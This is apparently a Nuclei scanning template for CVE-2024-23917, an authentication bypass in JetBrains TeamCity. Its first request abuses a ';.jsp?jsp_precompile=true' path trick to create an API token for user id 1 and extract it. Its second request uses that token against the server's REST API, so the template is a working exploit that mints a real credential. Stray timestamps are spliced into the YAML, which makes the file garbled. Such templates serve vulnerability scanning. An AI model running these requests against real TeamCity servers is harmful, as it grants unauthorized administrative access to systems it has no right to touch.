2024-04-30 12:52:48 +00:00
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id: CVE-2024-23917
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info:
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name: JetBrains TeamCity > 2023.11.3 - Authentication Bypass
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible
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reference:
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- https://github.com/fkie-cad/nvd-json-data-feeds
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- https://www.rapid7.com/db/vulnerabilities/jetbrains-teamcity-cve-2024-23917/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2024-23917
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cwe-id: CWE-306,CWE-288
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epss-score: 0.00091
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epss-percentile: 0.38219
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cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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vendor: jetbrains
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product: teamcity
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tags: cve,cve2024,auth-bypass,teamcity
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flow: http(1) && http(2)
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http:
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- method: POST
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path:
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- "{{BaseURL}}/app/rest/users/id:1/tokens/{{randstr}};.jsp?jsp_precompile=true"
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headers:
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Content-Type: "application/x-www-form-urlencoded"
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matchers:
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- type: dsl
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dsl:
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- status_code==200
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- "contains(content_type,'application/xml')"
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- 'contains(body,"<token name=\"{{randstr}}\"")'
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condition: and
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2024-04-30 12:55:33 +00:00
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internal: true
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2024-04-30 12:52:48 +00:00
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extractors:
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- type: regex
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part: body
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name: authtoken
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internal: true
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group: 1
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regex:
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- 'value="(.+)"'
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- method: GET
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path:
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- "{{BaseURL}}/app/rest/server"
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headers:
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Authorization: "Bearer {{authtoken}}"
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extractors:
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- type: dsl
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dsl:
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- '"Token:" + authtoken'
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matchers:
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- type: dsl
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dsl:
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- "status_code==200"
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- "contains(content_type,'application/xml')"
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- "contains(body,'<projects href=')"
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condition: and
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